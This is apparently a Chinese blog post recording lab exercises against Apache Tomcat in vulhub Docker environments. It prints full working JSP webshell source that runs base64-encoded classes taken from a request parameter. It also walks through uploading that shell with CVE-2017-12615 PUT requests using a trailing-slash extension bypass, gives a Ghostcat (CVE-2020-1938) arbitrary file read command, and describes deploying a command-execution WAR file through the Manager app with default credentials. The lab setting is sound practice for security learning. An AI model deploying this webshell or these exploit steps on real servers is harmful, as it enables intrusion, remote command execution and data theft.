16_tomcat

tomcat

一、jsp一句话木马

这个东西网上百度就有

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

将jsp一句话木马放到IDEA里面,并且运行
在这里插入图片描述

然后用蚁剑连接,可以看到成功使用jsp一句话木马获取webshell,哪怕对Java不熟悉都可以使用

在这里插入图片描述
在这里插入图片描述

二、CVE-2017-12615(PUT上传文件)

1. 环境搭建

在vulhub靶场使用docker搭建tomcat的CVE-2017-12615漏洞环境
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2. PUT上传文件

使用burp抓包
在这里插入图片描述
将GET改为PUT,并且上传hello.txt文件,内容为helloworld
在这里插入图片描述
响应包为201,代表成功
在这里插入图片描述
在docker环境里面,进入容器,然后切换到webapps目录里面的ROOT目录
两次对比前后发现,多出了个hello.txt,并且内容就是我们上传的helloworld
说明PUT上传文件成功
在这里插入图片描述

3. PUT上传jsp一句话

既然上传txt文件成功了,我们想要获取webshell,当然要上传jsp一句话

先直接按照上传txt那样上传试试,看有什么问题
在这里插入图片描述
发现状态码为404,代表上传失败了
在这里插入图片描述
我们想一下,能上传txt文件,但是上传jsp文件就上传限制,可能是做了后缀限制
根据学习过的文件上传的绕过方法,windows的文件上传绕过,常用的是点空格点绕过,这里我测试了不行

linux的一般绕过,是在文件后面加个/,上传后,linux会自动吃掉/

再次测试,响应包状态码为201
在这里插入图片描述
在这里插入图片描述
成功上传jsp一句话木马
在这里插入图片描述

4. 获取webshell

上传了jsp一句话之后,自然就是测试用蚁剑是否能成功连接

结果自然是成功的
在这里插入图片描述
在这里插入图片描述

三、CVE-2020-1938(幽灵猫任意文件读取漏洞)

1. 环境搭建

在这里插入图片描述
在这里插入图片描述

2. 漏洞利用

这里要使用一个工具ghost cat,也就是幽灵猫工具
使用的是python脚本,使用的方法在截图里面有给出
在这里插入图片描述
根据示例,成功获取WEB-INF下面的web.xml内容

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py  192.168.11.131 -p 8009 -f WEB-INF/web.xml

在这里插入图片描述

3. 漏洞验证

上面的利用只是按照示例,读取了示例中给出的文件
我们要来验证一下,是否可以进行任意文件读取,还是说只能读取那个文件

首先我们进入容器,在webapps的ROOT目录下创建一个hello.txt,内容为helloworld haha
在这里插入图片描述
然后我们用幽灵猫读取一下这个hello.txt文件
发现成功读取,证明的确是可以读取任意文件
在这里插入图片描述

四、tomcat8(弱口令+war包上传的任意命令执行漏洞)

1. 环境搭建

在这里插入图片描述
在这里插入图片描述

2. 漏洞利用

点击tomcat的Manager App
在这里插入图片描述
弹出一个身份认证,默认的账户密码都是tomcat
在这里插入图片描述

登录之后进入如下界面
在这里插入图片描述
往下拉,可以看到有一个上传war包的功能点
在这里插入图片描述

那么什么叫war包,这里我百度了一下
意思就是上传这个上传war包之后,tomcat服务器会自动运行war包下面的jsp代码
在这里插入图片描述
那么从哪里找到war包?
kali自带了一个cmd的war包,我们将它找到,并且复制到桌面上
在这里插入图片描述
并且查看下cmd.war里面的内容,很像webapps目录,并且存在cmd.jsp文件
cmd.jsp文件就是实现我们的命令执行的主要文件
在这里插入图片描述
在上传war包的功能那里,上传这个cmd.war
在这里插入图片描述
上传成功之后,上面会多出一个/cmd的目录
在这里插入图片描述
点开之后,是如下的404界面,是因为我们没有加jsp文件
在这里插入图片描述
在url后面加上cmd.jsp之后,成功进入如下界面
在这里插入图片描述
剩下就是测试一下功能,执行命令,成功验证漏洞
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值